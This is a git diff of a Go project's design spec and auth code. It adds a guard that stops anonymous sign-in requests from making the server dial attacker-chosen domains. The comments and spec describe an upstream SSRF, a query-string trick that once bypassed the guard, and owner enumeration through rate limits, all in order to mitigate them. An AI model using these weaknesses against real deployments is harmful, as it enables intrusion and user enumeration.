-| A local embedding model | A pure-Go or cgo-free runtime exists. Would remove ingest egress entirely, which §3.2 makes the largest single leak |
+| A local embedding model | Would remove ingest egress entirely, which §3.2 makes the largest single leak. **Not the cgo-free in-process runtime this row first imagined:** §8.3's `qwen3-embedding-8b` is open-weight, so self-hosting is possible in principle, but 8B parameters means a second box to run and keep, not a library linked into the one binary |
| Cross-team anything | Never, under §6.4 |
| Fine-tuning on the corpus | Never, under decision 8 |
@@ -2526,8 +3474,128 @@ rows.
## 13. Open
-**Four items need Paul and are marked `NEEDS PAUL`. Nothing else here is
-a ruling; the rest is work, measurement or somebody else's repo.**
+**Four items need Paul and are marked `NEEDS PAUL`:** the 12-hour session
+TTL, §8.7's unit-override switch, the CI runner's repo list, and the
+disclosure route for the rastrillo SSRF (`SECURITY-DRAFT-rastrillo-signin.md`,
+unfiled). **Nothing else here is a ruling; the rest is work, measurement
+or somebody else's repo.**
+
+*Struck items are kept with their reasoning rather than deleted. Several
+closed on 2026-09-05 and 2026-09-06 when the suite doctrine landed, and in
+more than one case the doctrine chose an option the struck item had itself
+named — which is only visible if the item is still here.*
+
+ **Six of these closed on 2026-09-05 when A.4 landed, and they closed
+ together because they were one defect wearing six coats: decision 11.**
+
+ - ~~**`MEMBER` is undefined for a guest.**~~ **Closed.** Guests are
+ never on the roster (§4.3), so the question a guest broke is no
+ longer asked. Suite ruling 4.
+ - ~~**The S7 cache has no stated TTL, and the framework's default is 30
+ days.**~~ **Closed.** There is no S7 and no cache. Ruling 3 is "never
+ cached, at any scope", and §4.3's roster is a pulled copy with its
+ own TTL whose expiry stales team standing for everybody rather than
+ silently extending it.
+ - ~~**§2 and §4.2 still specify the members table decision 11
+ rejected.**~~ **Closed.** §2 now says roster copy; §4.2 says grants
+ and points membership at §4.3.
+ - ~~**§4.1 still says there is "no separate 'is P a member?'
+ question".**~~ **Closed.** §4.1 now says the opposite and says why:
+ admission and authorization are different questions at different
+ moments, which is the whole point of the roster split.
+ - ~~**No S2 value covers a sibling that is BEHIND memoria.**~~
+ **Closed.** §4.1 defines it: a revision the app of record does not
+ recognise answers `UNKNOWN` and withholds loudly, never `NOT_VISIBLE`.
+ Suite §4.3; GPT-6's finding 11 on the doctrine.
+ - ~~**The circuit breaker fires on a routine case.**~~ **Closed.** It
+ was routine only under "admit on at least one sibling"; with
+ admission on the roster, a Docs-only member is not admitted by Docs
+ and then refused wholesale by Sheets.
+ - **Derived-artefact provenance is not transitive.** An artefact built
+ from another artefact partitions as memoria-owned and never reaches
+ S2 for the first artefact's sibling sources. Two hops launder what
+ one hop cannot.
+ - **§8.7's unit compatibility has no test it can run.** Three cells
+ formatted `General`, one of them in thousands, carry no signal
+ distinguishing them, so `MIXED_UNITS` cannot fire and the average is
+ confidently wrong. The spec's own example is "one year in k€".
+ - **Several draft-3 fixes have no gate**: S3's signature, the keyed
+ `external_id` (reverting it leaves every test green), §6.5's deadline
+ and concurrency, the wake warm-up. Gates 2 and 8 name "a threshold"
+ and "*everything*" without a number, so neither can be written as
+ stated.
+ - **`TestNoContentInLogs`'s credential half cannot fail**, because the
+ test app wires no auth and so never sends a link.
+
+- **§Review pass on draft 3 itself.** Done: Fable, 22 findings, REQUEST
+ CHANGES. The blocker it found was mine — see §6.1 on S3.
+- ~~**BLOCKER: the source apps must adopt decision 1.**~~ **CLOSED
+ 2026-09-05.** Decision 1 became suite ruling 1 and all three siblings
+ adopted it: home `c1784e8` (ruling 23, review record recovered as
+ discussion 8), Docs `6797bbf` (A.2, discussion 37, closing discussion
+ 33), Sheets `4aea8f4` (A.3, discussion 16, new §9a naming S6 as Sheets'
+ alone).
+ **Those are `refs/heads/main` on the remote, verified by `git ls-remote`
+ against each hub repo, and a checkout on any developer box will not
+ resolve them** — `amadan branch merge` lands on the remote and touches
+ no working tree, which is suite AGENTS.md's "the checkout on disk can
+ lie". A reviewer of this section looked in local checkouts, found none of
+ the three, and was right to say the claim was unverifiable as written.
+ It is the fetch that is missing, not the merge. Each replaced "instance boundary" with "team boundary" and cites
+ the doctrine rather than restating it. **Slice 1 is no longer blocked on
+ agreement.** What it now waits on is Sheets and Docs actually serving
+ S1–S3 — code, in their repos, suite §12 step 3.
+- **The three amendments cite doctrine revision 4 and the doctrine is at
+ 7.** Gate 9 fails a spec more than one revision behind, so a citation
+ bump is owed in all three. It is a debt and not a red gate, because gate
+ 9 is not built — §12 step 2 schedules gates 1 to 4 only. Recorded here
+ because memoria depends on those specs being current, and because
+ "nobody has built the gate yet" is exactly the sentence that lets a
+ currency rule rot.
+- **The sign-in dial: memoria's half is closed, the upstream half is
+ not.** `POST /auth/begin` now runs the admission predicate before the
+ classifier resolves anything (gate 33), so an unadmitted address causes
+ no DNS query and no fetch.
+ **What remains is not memoria's, and it is worse than this spec has been
+ recording.** The fetcher's hardening was read on 2026-09-05 and there is
+ none: `keymaildev/signin`'s classifier takes a `host=` straight from the
+ submitted domain's `_keymail` TXT record with no allowlist, no scheme or
+ port restriction and no private-range check, then fetches it with a
+ client that follows redirects by default — and on NXDOMAIN it fetches
+ the bare domain anyway, so the request happens for nearly any valid
+ domain rather than only delegated ones. **That is an unauthenticated
+ SSRF with an attacker-chosen destination, in every rastrillo app**, and
+ §3.2's "leaks existence, egress IP and a timing channel" understates it:
+ the reach is whatever the instance's network can reach.
+ memoria's guard narrows this to *owners* here and does nothing for any
+ other app. `SECURITY-DRAFT-rastrillo-signin.md` in this repo is the
+ write-up, **unfiled on purpose** — rastrillo is a public repo and a
+ public issue would publish the reachability to everyone running one
+ before any of them could deploy a fix. Paul's call. The fix pattern
+ already exists in `amadan.net/oficina/suite`'s `transport.go`: check the
+ host before the transport dials, and refuse redirects rather than bound
+ them. One residual here too, stated in the guard's
+ own comment: an *owner* whose domain delegates to keymail is redirected
+ to keymail's host rather than to `?sent=1`, so the two paths still
+ differ for keymail-delegated domains. Narrower than the status quo it
+ replaced, and it closes when the upstream fix lands.
+
+- **`AHEAD` is adopted and not yet shipped**, which is a date rather than
+ a question. §4.1 records how it was settled. Draft 4 cut `AHEAD` because `STALE`,
+ `NOT_VISIBLE` and `UNKNOWN` are each the wrong home for "the sibling is
+ behind"; `suite.Authorization` cannot express it, so memoria maps the
+ case to `UNKNOWN` today and loses exactly the distinction `AHEAD` was cut
+ to preserve. Raised with the suite as a contract change. **It got there
+ because this branch answered the suite's question about the
+ source-behind case without having read draft 4** — §1.10's lesson, one
+ repository over.
+
+
+---
+
+**From the draft-4 and draft-5 reviews.** The items above came from the
+suite strand; these came from memoria's own drafts, and the two lists met
+on 2026-09-06 when the branches merged.
- **Draft-5 review, not yet fixed.** Draft 5 was reviewed and returned
REQUEST CHANGES with eleven required changes. They are listed here
@@ -2589,8 +3657,14 @@ a ruling; the rest is work, measurement or somebody else's repo.**
circuit-breaker fix renamed the problem rather than removing it — the
prose claimed a property of the sibling and the predicate still
measured whoever queried that day (§8.1).
-- **`NEEDS PAUL` — the roster-vs-sharing requirement is a BLOCKER of
- decision 1's class, and draft 4 filed it as a ticket.** §4.3 requires
+- ~~**`NEEDS PAUL` — the roster-vs-sharing requirement.**~~ **CLOSED
+ 2026-09-05, by the second of the two rulings it named.** It asked
+ either that the siblings adopt a member/guest distinction, or that
+ decision 11 be narrowed so admission does not rest on their answer.
+ Suite ruling 4 is the second: the home owns the roster, memoria pulls
+ it, and no sibling is asked about membership at all. The original
+ follows, because the reasoning is why ruling 4 is right and not merely
+ different — *draft 4 filed it as a ticket:* §4.3 requires
`MEMBER` to mean "on this team's roster"; Sheets §8.2 and Docs §8.2
both define sharing *as* membership, in those words. So §4.3 does not
ask the siblings to build a call they have not built — that is S1–S3
@@ -2603,7 +3677,10 @@ a ruling; the rest is work, measurement or somebody else's repo.**
does not rest on their answer. Until one lands, `S7` is
`INDETERMINATE` everywhere and only the configured owners are
admitted. Same threads as the decision-1 blocker below.
-- **No sibling can answer S7 yet.** The *implementation* is ordinary work
+- ~~**No sibling can answer S7 yet.**~~ **Moot 2026-09-05:** S7 is retired
+ and admission is the roster (§4.3). The original follows because the
+ *shape* of the problem — memoria depending on work in another repo it
+ cannot do — is now call 8's, unchanged. The *implementation* is ordinary work
in their repos, the same shape as S1–S3, once the ruling above settles
what `MEMBER` may mean. The two are separate items because they need
different things: one needs Paul, one needs a branch.
@@ -2642,7 +3719,10 @@ a ruling; the rest is work, measurement or somebody else's repo.**
reports "no anomaly" while doing so. If the record is unacceptable the
answer is to drop the breaker and say so, not to keep it in a form that
cannot work.
-- **15 minutes is chosen, not measured** (§4.3). It is a bet that one
+- ~~**15 minutes is chosen, not measured** (§4.3).~~ **Moot 2026-09-05:**
+ that was S7's cache TTL and there is no S7 cache. The roster has its own
+ TTL, set by the home, and ruling 3 forbids caching authorization at any
+ scope. The original follows. It is a bet that one
extra sibling call per person per quarter-hour is invisible beside the
S2 calls a query already makes; the latency measurement below settles
it, and if a cold S7 costs seconds the number moves.
@@ -2672,17 +3752,6 @@ a ruling; the rest is work, measurement or somebody else's repo.**
indexed and would be deciding on half the evidence. Worth noting in the
S1–S3 thread: this is one less thing to ask of Sheets, and the fixed
certification table is memoria's to build and gate 22's to hold.
-- **BLOCKER, and not mine to close: the source apps must adopt decision
- 1.** home §2.2, Sheets PRODUCT.md principle 3 and Docs §8.2 each
- currently forbid content crossing an instance boundary. Paul ruled the
- suite is one trust domain, and memoria cannot enact that in its own
- table. `oficina/docs` discussion 33 is open; Sheets and home need the
- same. **Slice 1 is blocked on agreement, not on code.**
-- **`NEEDS PAUL` — the sign-in dial (§3.2).** The fetch lives in
- `rastrillo/auth` and `keymaildev/signin`, not here. memoria could gate
- `/auth/begin` on the owners list before rastrillo sees the address,
- which is small but changes guest sign-in that slice 1 will want; or it
- belongs upstream in rastrillo. Paul's call.
- **Measure S6 and S2 latency against a cold sibling** before slice 1
ships. §6.5's 800 ms deadline is an assumption, and it decides whether
the primary search path degrades to permanent withholding.
@@ -2697,13 +3766,164 @@ a ruling; the rest is work, measurement or somebody else's repo.**
the rest of a cold start: opening SQLite, allocating the vector matrix,
parsing the snapshot and building id maps are all outside the 5-second
budget as computed.
-- **OpenRouter's embeddings endpoint** is reported OpenAI-compatible at
- `/api/v1/embeddings`, but the documentation page 404'd when checked. If
- embeddings and chat both route through OpenRouter, **two parties see
- content** — the proxy and the upstream provider — and decision 4's "one
- named provider" then names one of two. Resolve before slice 2.
-- **Docs §11.2's qualification** must be recorded in the Docs repo by
- `docs-e6`, or the two specs contradict.
+- **The two-parties problem is narrowed, not closed.** §8.3 selects a
+ provider that *presents as* running its own weights rather than a proxy,
+ which removes OpenRouter's proxy-plus-upstream shape. It does not
+ establish that one organisation sees the corpus: **whether a subprocessor
+ sits under TensorX is a DPA question and the DPA is unread**, as are the
+ retention terms §8.3 calls "advertised".
+ **Paul ruled on 2026-09-05 to "proceed with TensorX for sure" rather than
+ hold for these**, and the scope of that is stated here rather than
+ assumed, because assuming it once already produced §1.8. The spec reads
+ it as: *the provider decision is settled, and slice 2 may be designed and
+ built against it.* It does **not** read it as permission to enable egress
+ over real team content before the DPA and retention terms are read —
+ that is a different act, it is the one §3.6 makes promises to the reader
+ about, and nobody has been asked. **If Paul meant the wider thing, this
+ is the line to change.** Until then: build against it; read them before
+ the switch is thrown.
+- **The live calls ran on 2026-09-05, and settled less than hoped.**
+ `/v1/embeddings` serves `qwen/qwen3-embedding-8b` as documented, and the
+ model is in `GET /v1/models`. The `text-embedding-3-small` probe —
+ the one that would have shown TensorX proxying to OpenAI —
+ **returned 403.** It did not succeed, so no proxying was demonstrated —
+ but read that precisely, because **the probe had no control** and three
+ readings fit it equally. *Benign:* a blanket "model not in your
+ allowlist" 403 for any string at all. *Middle:* a routable name this one
+ key is not entitled to. ***Worst, and the reading the probe existed to
+ find:*** the name is in their routing or entitlement table because it
+ **is** served for someone, and the 403 is the gate rather than the
+ absence. Nothing run so far separates the three.
+ **Two calls would, and neither needs more than a key.** Probe a nonsense
+ model id — if it 404s where `text-embedding-3-small` 403s, that
+ difference is the finding. Then `GET /v1/models/text-embedding-3-small`.
+ **Record the error body verbatim** while there: it is the provider's own
+ text about a model name we chose, not team content, so §3.2 does not
+ reach it and quoting it costs nothing. Also capture the response headers
+ for the `Content-Encoding` question in §7.2, and the accepted batch size.
+ Until those run, §8.3 says "presents as" rather than "runs", and this
+ narrows rather than closes — like the subprocessor question above, which
+ no API call can answer at all.
+- **`encoding_format: "base64"` is answered and the answer is no** — see
+ §7.2. Accepted and silently discarded. The wire figure that replaced it
+ is derived rather than measured, and `Content-Encoding: gzip` is
+ unexamined; both are one probe away.
+- **Paul was not shown the two-lab option when he kept DeepSeek.** §8.2's
+ survey lists a dated Qwen (`qwen3-235b-a22b-2507`), so the pinning rule
+ permits DeepSeek for one tier and Qwen for the other. He ruled "keep
+ DeepSeek" on 2026-09-05 against a presentation that framed
+ DeepSeek-for-both as what the rule required. It was not; it is a
+ judgement about price, recency and coherence. The ruling stands and
+ nothing needs undoing — but the record should say what was in front of
+ him, and §8.2 now names the Qwen id as the frontier fallback.
+- **Is the model id stable?** Partly answered by the catalogue. It lists
+ `deepseek/deepseek-v4-pro` *and* `deepseek/deepseek-v4-pro-0813`, which
+ demonstrates that bare names here are aliases over dated snapshots. §8.2
+ now pins the dated ids for both chat tiers. **Two things remain unread:**
+ whether a dated id is itself immutable at TensorX (ask them), and what
+ happens to the **embedding** model, which has no dated form at all — gate
+ 24's canary is the only detector for that one.
+- **Both chat tiers now come from one lab as well as one host.** §8.2 took
+ dated ids over family preference, correctly under its own rule, but a
+ DeepSeek withdrawal would move both tiers at once where the previous pair
+ spanned two labs. Concentration recorded, not mitigated.
+- **One embedding model, and the risk is a re-host not a re-embed.** The
+ catalogue offers exactly one. But the weights are open, so any host
+ serving the same `qwen3-embedding-8b` yields compatible vectors — closely
+ rather than bit-identically, since serving stacks and quantisations
+ differ, which is a thing gate 30 would measure. **The vendor failing
+ costs a migration; the model being retired costs the corpus**, and that
+ second exposure is identical to the one the OpenAI design carried. What
+ is written down nowhere is the wall-clock and search-quality gap of a
+ full re-embed, first or subsequent.
+- **The 4096→512 truncation is unmeasured.** §7.2 argues it is sound
+ because the model is trained Matryoshka, which is an argument and not a
+ measurement. Gate 29 is owed and cannot be written until a labelled query
+ set exists; `docs/BENCHMARKS.md` measures latency only.
+- **Qwen3-Embedding is instruction-tuned, and §7–§8 are silent on it.**
+ Queries take an instruction prefix, documents do not. OpenAI's models had
+ no such asymmetry, which is why nothing in the spec mentions one. Getting
+ it wrong costs recall and says nothing while it does.
+- **§7.2's 24M tokens is now an estimate under a different tokeniser.** It
+ came from an OpenAI-style ~1.34 tokens/word; billing is Qwen's. Probably
+ close, unverified, and §8.6 inherits it.
+- **Answer quality for the synthesis class is unmeasured, and the
+ measurement is still owed before slice 2** (§11). What Paul settled on
+ 2026-09-04 is the *product call* — *"Frontier open weight is fine. This
+ is lightweight LLM inference based on categorisation and memory. It's not
+ complex reasoning."* — not the obligation to measure it, which came from
+ the code review and stands. It reads §8.2 right: three of five classes
+ call no model, and §8.7 sends arithmetic to Sheets, so a model sees only
+ what survives retrieval, filtering and authorization.
+- **Two tiers stay, and so does the measurement.** The spec asked whether
+ the frontier tier was a habit. Paul ruled on 2026-09-05 that two tiers
+ make sense *and* that measuring makes sense — two answers, not one, and
+ both were wanted. §8.2 is unchanged; the obligation is unchanged. Measure
+ the cheap tier on the synthesis class before slice 2 concludes it needs
+ the expensive one. The premise was never free anyway: §8.2 calls the
+ single-source class extractive, but synthesis spans ≥3 documents, which
+ is the one place the work is more than extraction and the one place a
+ second tier could earn itself.
+- ~~**Docs §11.2's qualification** must be recorded in the Docs repo.~~
+ **CLOSED 2026-09-05.** It is not recorded, it is *replaced*: §8.3 and
+ Docs both cite suite §8's binding sentence, so there is one rule in one
+ place rather than two qualifications in two repos that then drift. That
+ is what `oficina/docs` discussion 33 asked for.
+- ~~**Slice 1 waits on the contract module being importable.**~~
+ **CLOSED 2026-09-06.** Paul made the Oficina repos public; the hub now
+ serves `go-import` for `oficina/suite` and `go get` resolves it with
+ default settings — **no `GOPRIVATE` and no `GOSUMDB=off` needed**, which
+ is better than either session predicted. memoria depends on it directly
+ as of `internal/memoria/sibling`. One consequence to know: the module
+ declares `go 1.26`, so memoria's own directive moved from 1.25.0 to 1.26
+ and any builder needs that toolchain.
+ *The original entry follows, because the two refused workarounds are the
+ useful part of it.*
+- **Slice 1 waited on the contract module being importable, which was one
+ command in another repo.** §6 cites `amadan.net/oficina/suite` and §11's
+ slice 1 builds against it; today `go get` cannot resolve it, because the
+ hub serves `go-import` meta tags **only for public repos** and
+ `oficina/suite` is private. That is the hub's rule working as designed —
+ a private repo must not become a discovery side channel — not a missing
+ feature, and `amadan/amadan` demonstrates the working case (200, with a
+ real `go-import` tag). The fix is `amadan visibility oficina/suite
+ public`, which is namespace-owner-only.
+ *Two workarounds were considered and refused. A `replace` directive is
+ machine-local and makes `go.mod` an artefact of one box. Renaming the
+ module to `amadan.net/oficina/suite.git` skips the meta tag — Go treats
+ a `.git` path element as a repo root — and **it downloads**, but only
+ where a stored credential exists, so it would pass CI because of where
+ the runner is rather than because the module resolves: the same defect
+ as `replace`, and it costs two breaking import-path changes plus a
+ `GOPRIVATE` requirement that fails by silently falling back to a public
+ checksum DB. memoria proposed it and the suite session found the hole.*
+- **memoria's gates have never run in CI, and `make ci` is not a merge
+ gate anywhere.** `amadan ci status oficina/memoria` answers *"No CI
+ status recorded for this commit"*: the hub runner's repo list does not
+ include memoria (nor `oficina/suite`, nor calendar). Every gate in §10
+ that exists has only ever run because somebody ran it by hand, and
+ nothing red has ever blocked a merge. That is one rung below the failure
+ AGENTS.md names — a guard written to pass is at least executed — and it
+ means the whole §10 apparatus is, as an enforcement mechanism, currently
+ decorative. **NEEDS PAUL:** add memoria to the runner's `-repo` list.
+ Found 2026-09-06 by the suite session, which hit the same wall on its own
+ repo.
+- **A hand-off cannot include memoria-owned material, and that will read
+ as a bug.** An answer built purely on sibling passages can be saved into
+ Docs; one built on the team's own uploads cannot, because suite §7 makes
+ the receiver check every source with its app of record and decision 7
+ gives memoria no surface to be asked on. **The asymmetry is invisible to
+ a reader and looks like a defect long before it looks like a ruling.**
+ Recorded in §9.1 and as a §12 row; the decision is Paul's. *(GPT-6's
+ review of the doctrine, finding 3, via A.4.)*
+- ~~**Ruling 15 is consumed and not cited.**~~ **Closed 2026-09-05:** §5's
+ custody mark now cites it, with the two consequences memoria has to
+ carry — a `granted` item is outside custody even when the asker holds
+ the grant, and `team` → `granted` leaves custody as a `gone` row that
+ §4.2 makes indistinguishable from deletion.
+ **Still open, and not memoria's to settle:** the doctrine's §14 records
+ Paul as not having ruled on 15 while its §1 says he has. Cited here as
+ §1 has it; someone should reconcile the doctrine with itself.
- **A `carlos/platform` discussion** noting the app boundary is the
implementer's to declare, and Oficina declares it at the suite —
informational, not a doctrine proposal (decision 2).
diff --git a/go.mod b/go.mod
index 088d0aa..a9a9c73 100644
--- a/go.mod
+++ b/go.mod
@@ -1,8 +1,9 @@
module amadan.net/oficina/memoria
-go 1.25.0
+go 1.26
require (
+ amadan.net/oficina/suite v0.0.0-20260905215529-60b01a8a0d6d
github.com/carlosframework/rastrillo v0.23.0
github.com/go-chi/chi/v5 v5.3.2
golang.org/x/crypto v0.55.0
@@ -11,7 +12,6 @@ require (
)
require (
- github.com/BurntSushi/toml v1.6.0 // indirect
github.com/dustin/go-humanize v1.0.1 // indirect
github.com/google/uuid v1.6.0 // indirect
github.com/jinzhu/inflection v1.0.0 // indirect
diff --git a/go.sum b/go.sum
index 6ee94a5..9979444 100644
--- a/go.sum
+++ b/go.sum
@@ -1,3 +1,5 @@
+amadan.net/oficina/suite v0.0.0-20260905215529-60b01a8a0d6d h1:x6Bq9+QzpFYAyV+zRzgyHwD/RmZ4Hy4biwtxK7CdaSs=
+amadan.net/oficina/suite v0.0.0-20260905215529-60b01a8a0d6d/go.mod h1:Xgw0N+DBiDzkhQHm/nIhgumfaiMElDg/KIFD1OxTm5w=
github.com/BurntSushi/toml v1.6.0 h1:dRaEfpa2VI55EwlIW72hMRHdWouJeRF7TPYhI+AUQjk=
github.com/BurntSushi/toml v1.6.0/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho=
github.com/carlosframework/rastrillo v0.23.0 h1:tKAAlwPt4Pg/rkqk7o6jvV12bbZ0r34oEVpuOlKfX7w=
diff --git a/internal/memoria/app.go b/internal/memoria/app.go
index aca4933..eb145ba 100644
--- a/internal/memoria/app.go
+++ b/internal/memoria/app.go
@@ -107,7 +107,9 @@ func App(d *db.DB, origin string, sealer *seal.Sealer, logger *slog.Logger) (*ht
func (a *app) MountAuth(mux *http.ServeMux, origin string) {
r := chi.NewRouter()
r.Use(csrf.Protect(origin))
- r.Post("/auth/begin", a.auth.Begin)
+ // Guarded, not bare: the classifier inside Begin dials the submitted
+ // address's domain before Authorize runs. beginGuard says why.
+ r.Post("/auth/begin", a.beginGuard(origin, a.auth.Begin))
r.Get("/auth/callback", a.auth.Callback)
r.Get("/auth/verify", a.auth.Verify)
r.Post("/signout", a.auth.Signout)
diff --git a/internal/memoria/auth.go b/internal/memoria/auth.go
index 54c359c..0b87f84 100644
--- a/internal/memoria/auth.go
+++ b/internal/memoria/auth.go
@@ -4,12 +4,126 @@ import (
"database/sql"
"errors"
"log/slog"
+ "net/http"
"strings"
"github.com/carlosframework/rastrillo/auth"
"github.com/carlosframework/rastrillo/mail"
)
+// signinPath is where every sign-in outcome lands. It must match the
+// SigninPath given to auth.New below, because beginGuard redirects here
+// itself: if the two disagree, the guard becomes distinguishable from the
+// real thing by its destination alone.
+const signinPath = "/signin"
+
+// beginGuard stops an anonymous visitor making this instance dial a
+// domain of their choosing.
+//
+// rastrillo's sign-in classifier fetches https://<the submitted address's
+// domain>/.well-known/keymail inside auth.Begin, BEFORE the Authorize
+// callback runs. So POST /auth/begin with any address makes memoria issue
+// an outbound request to any host — leaking the instance's existence, its
+// egress IP and a timing channel to anyone who can reach the sign-in
+// page. Not content, but §3.2 records it, and it is why the footer no
+// longer claims "nothing leaves this instance".
+//
+// The real fix is upstream, in rastrillo/auth and keymaildev/signin: the
+// classifier should not fetch before the app's admission predicate has
+// run, and the fetcher should refuse redirects and private address ranges
+// regardless. This guard is memoria's half. It is cheap here precisely
+// because slice 0 has no guests — admission IS the owners list, so
+// refusing a non-owner before the dial changes no behaviour that exists
+// today. When slice 1 brings guests, the predicate becomes the roster
+// (§4.3) and this still runs before any fetch.
+//
+// It renders the same outcome as a successful magic-link send, same
+// status and same destination, because a distinct rejection would turn
+// this guard into an owners-list oracle — worse than the dial it removes,
+// since the dial only confirms the instance exists while an oracle
+// confirms who owns it.
+//
+// THREE RESIDUALS, and the second one means the sentence above is an aim
+// rather than an achievement. Stated here because an earlier version of
+// this comment claimed the guard was not an oracle, and it is one.
+//
+// 1. An owner whose domain delegates to keymail is redirected to
+// keymail's host rather than to ?sent=1, so those two paths differ.
+//
+// 2. **Rate limiting distinguishes them after five submissions.** This
+// guard sits in front of rastrillo, so a refused address never
+// reaches signin's per-address budget while an admitted one does:
+// six tries at an owner's address yields ?err=rate, six at a
+// stranger's yields ?sent=1 every time. Enumeration is also
+// unthrottled, because a refused address consumes no per-IP budget
+// either. The budget lives inside signin's flow and is not reachable
+// from here, so closing this means either duplicating upstream's
+// window and count — coupling to a constant we do not own — or
+// fixing the ordering upstream, which is the same fix the SSRF needs.
+// Found by an adversarial mutation pass, 2026-09-05.
+//
+// 3. A `force=1` submission skips the classifier, so no dial happens —
+// but rastrillo still mails a magic link to whatever address was
+// given. The guard refuses those before Begin, so memoria is covered;
+// it is listed because "no dial" and "no outbound anything" are not
+// the same claim.
+//
+// All three are narrower than the status quo, where the dial happens for
+// every address at every domain, and all three close when the upstream
+// fix lands.
+func (a *app) beginGuard(origin string, next http.HandlerFunc) http.HandlerFunc {
+ return func(w http.ResponseWriter, r *http.Request) {
+ // Fail closed. An empty owners list is a wiring bug — LoadConfig
+ // refuses to boot without one — and the version of this that
+ // defaults to allowing is the version that dials for everyone
+ // while looking configured.
+ if len(a.owners) == 0 {
+ a.logger.Error("sign-in guard has no owners list; refusing")
+ http.Error(w, "sign-in is not configured", http.StatusInternalServerError)
+ return
+ }
+
+ // Cross-origin goes straight to rastrillo, which refuses it
+ // uniformly with a 403 before it dials anything. Deciding it here
+ // would answer differently for an owner and a stranger — a
+ // cross-site page can read that difference through an opaque
+ // redirect — and this guard exists to remove distinguishable
+ // outcomes, not to add one on another axis.
+ if o := r.Header.Get("Origin"); o != "" && o != origin {
+ next(w, r)
+ return
+ }
+
+ // Read the address EXACTLY as rastrillo does. This is the whole
+ // correctness argument of the guard, and the first version got it
+ // wrong twice in one line.
+ //
+ // It called r.ParseForm() and passed the request through on error.
+ // url.ParseQuery keeps every well-formed pair AND returns the
+ // first error, and ParseForm reports a query-string error even
+ // when the body parsed perfectly — while rastrillo's FormValue
+ // ignores the error and uses what parsed. So `POST /auth/begin?a;b=1`
+ // with an ordinary body skipped the check entirely and dialled.
+ // One character.
+ //
+ // It also read PostFormValue where rastrillo reads FormValue, so
+ // an address supplied only in the query string was invisible here
+ // and visible there.
+ //
+ // Both are the same mistake: a guard that reads a request
+ // differently from the thing it guards is not guarding it. There
+ // is no error branch now, because FormValue has no error to
+ // branch on — the two calls cannot disagree.
+ if !a.isOwner(normaliseAddress(r.FormValue("address"))) {
+ // No address in the log line, ever: §3.2, gate 4.
+ a.logger.Info("sign-in refused before classifier dial")
+ http.Redirect(w, r, signinPath+"?sent=1", http.StatusSeeOther)
+ return
+ }
+ next(w, r)
+ }
+}
+
// AuthEnv is the sign-in configuration read from platform config.
type AuthEnv struct {
Origin string
@@ -35,19 +149,34 @@ func ParseOwners(raw string) []string {
return out
}
-// Admits builds the admission gate. Comparison is on the lowercased
-// address: addresses are case-sensitive before the @ per RFC 5321 and no
-// mainstream provider honours that, so this matches what an operator
-// expects when they type a list.
-func Admits(owners []string) func(string) bool {
- allowed := make(map[string]struct{}, len(owners))
- for _, o := range owners {
- allowed[o] = struct{}{}
- }
- return func(address string) bool {
- _, ok := allowed[strings.ToLower(strings.TrimSpace(address))]
- return ok
- }
+// normaliseAddress is the one spelling rule. identity() lowercases and
+// trims what auth verified; the guard must do the same to what a form
+// submitted, or the two disagree about whether an address is an owner —
+// and a guard that disagrees with the thing it guards is the bug this
+// branch already shipped once, in a different clause.
+//
+// Addresses are case-sensitive before the @ per RFC 5321 and no mainstream
+// provider honours that, so this matches what an operator expects when
+// they type a list.
+func normaliseAddress(s string) string { return strings.ToLower(strings.TrimSpace(s)) }
+
+// Admit is THE admission predicate: the one rastrillo runs at
+// verification, the one beginGuard runs before the classifier dials, and
+// the one requireOwner runs on the connector routes.
+//
+// A method on the app rather than a constructor over a list, because a
+// constructor gives a caller something to build twice — and it was built
+// twice. main.go passed `Admits(cfg.Owners)` to NewAuth and separately
+// called `SetOwners(cfg.Owners)`: two closures over two copies guarding
+// one rule, and a review's mutation (`Admits(nil)` in main) stayed green
+// because every test built its own. One list, one predicate, nothing to
+// pass a second version of.
+//
+// It normalises through normaliseAddress. The old constructor re-spelled
+// that inline, which is how a guard and the thing it guards start to
+// disagree.
+func (a *app) Admit(address string) bool {
+ return a.isOwner(normaliseAddress(address))
}
// NewAuth wires the sign-in flow. Exactly one per process: auth carries
@@ -61,15 +190,19 @@ func NewAuth(sqlDB *sql.DB, env AuthEnv, logger *slog.Logger, authorize func(str
// a bug either way and this is the version that says so.
return nil, errors.New("sign-in: refusing to wire auth with no admission gate")
}
- return auth.New(auth.Config{
+ a, err := auth.New(auth.Config{
DB: sqlDB,
Origin: env.Origin,
InstanceKey: env.InstanceKey,
Mailer: env.Mailer,
Authorize: authorize,
- SigninPath: "/signin",
+ SigninPath: signinPath,
SignedInPath: "/",
Subject: "Your memoria sign-in link",
Logger: logger,
})
+ if err != nil {
+ return nil, err
+ }
+ return a, nil
}
diff --git a/internal/memoria/handlers.go b/internal/memoria/handlers.go
index 4cc674a..cea5f08 100644
--- a/internal/memoria/handlers.go
+++ b/internal/memoria/handlers.go
@@ -82,8 +82,15 @@ type app struct {
auth *auth.Auth
syncer *Syncer
- // owners is the list requireOwner checks. In slice 0 it is the whole
- // admission list — see requireOwner.
+ // owners is the admission list, and there is exactly one of it.
+ //
+ // Three things key on it: requireOwner (may this person reach an
+ // owner-only route), beginGuard (may this address make the instance
+ // dial, §3.2), and rastrillo's Authorize at verification (§4.3). This
+ // branch briefly carried a second field — an `admits` closure — so the
+ // guard and requireOwner each had their own copy of "is an owner",
+ // which is the drift suite ruling 7 exists to prevent, arrived at
+ // inside one struct. One field, one predicate: isOwner.
owners []string
// allowUnauthenticated is set only by AppForTest. Production cannot
@@ -109,6 +116,13 @@ func (a *app) UseFakeSource(c SourceClient, verify func(ctx context.Context, tok
// UseAuth attaches auth after construction. App builds the router, and
// the router needs auth's handlers, but auth needs the admission gate
// that only App can supply — so the knot is untied by attaching late.
+//
+// It takes only auth. An earlier version on this branch also took the
+// admission predicate, to stop main handing UseAuth a different one from
+// the one NewAuth got — a mutation a review found and the tests missed.
+// That problem is now solved further up: there is one owners list, set
+// once by SetOwners, and isOwner is the only predicate over it, so there
+// is no second value to disagree with.
func (a *app) UseAuth(x *auth.Auth) { a.auth = x }
// page is the data every template gets. Chunks and Signed are on it
diff --git a/internal/memoria/sibling/sibling.go b/internal/memoria/sibling/sibling.go
new file mode 100644
index 0000000..652cf5a
--- /dev/null
+++ b/internal/memoria/sibling/sibling.go
@@ -0,0 +1,192 @@
+// Package sibling is memoria's client half of the suite contract.
+//
+// It is a client and only a client. Decision 7: every sibling call is a
